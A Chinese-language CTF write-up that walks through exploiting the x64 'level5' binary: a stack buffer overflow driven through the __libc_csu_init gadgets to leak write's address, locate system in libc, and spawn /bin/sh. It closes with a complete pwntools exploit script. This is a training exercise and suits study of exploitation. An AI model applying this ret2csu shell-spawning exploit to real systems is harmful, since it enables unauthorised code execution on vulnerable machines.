emm第一篇自己写的详解 题目跟这儿下载
写的大概是傻瓜教程了吧,因为自己就是傻瓜
checksec
ida打开文件,f5反编译,双击main函数,观察,发现啥也没有,只有可怜的vulnerable_function函数。
分析一下,为了getshell我们要想办法输入命令system(“\bin\sh”),可以把这些命令写到bss段,然后想办法运行命令。
首先需要知道
-偏移 offset=function1真实地址-function1libc在库地址=function2真实地址-function2在libc库地址
-通过查找函数真实地址后三位可以查到所用的libc库和其他函数在库中地址
-而函数真实地址只有在被调用后才会得到
目前可用信息有自带的write函数和read函数,可以将信息写入外存和读入内存。调用函数需要知道函数真实地址,这就需要write函数将某个函数(我用了write函数)真实地址写入外存,然后查libc库得到其他函数libc库中的地址。
在x64下有一些万能的gadgets可以利用,比如_libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。
右键,选择copy to assembly,然后按空格噻,得到一些整整齐齐的段名称和地址,查看_libc_csu_init()。
利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,利用0x4005f0处的代码将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx*8],这时候将rbx赋值0,可以将想调用的函数地址传给r12。执行完函数之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1。
rbx 0
rbp 1
r12 想调用的函数地址
r13 ->edi 函数第三个参数
r14 ->rsi 函数第二个参数
r15 ->rdx 函数第一个参数
payload1,利用write()输出write在内存中的地址。gadget是call qword ptr [r12+rbx*8],所以应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
这里要说一下第一个p64(0)是将栈占了8位空间,因为将鼠标挪到下图红圈位置,显示从0038到0030需要一些东西也就是pop_junk
exp在收到write()在内存中的地址
利用真实地址后三位查库libc库
可以计算出system()在内存中的地址
构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中
最后构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
出题人说: 要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。
反正我就需要试几次才能getshell,反正自己搞出来代码贼开心。文章用的exp为了美观我就改了改原出题人给的exp。
最终exp:()
from pwn import *
elf = ELF('level5')
p = process('./level5')
write_got = elf.got['write']
print "write_got: " + hex(write_got)
read_got = elf.got['read']
print "read_got: " + hex(read_got)
main_addr = 0x400564
bss_addr = 0x601028
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0)
payload1 += "a"*56
payload1 += p64(main_addr)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
write_libc = 0x0f72b0
read_libc = 0x0f7250
system_libc = 0x045390
binsh_addr = 0x18cd57
offset = write_addr - write_libc
print "offset: " + hex(offset)
system_addr = offset + system_libc
print "system_addr: " + hex(system_addr)
p.recvuntil("Hello, World\n")
payload2 = "a"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(16)
# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0)
payload2 += "a"*56
payload2 += p64(main_addr)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\00")
sleep(1)
p.recvuntil("Hello, World\n")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0)
payload3 += "\x00"*56
payload3 += p64(main_addr)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
运行结果: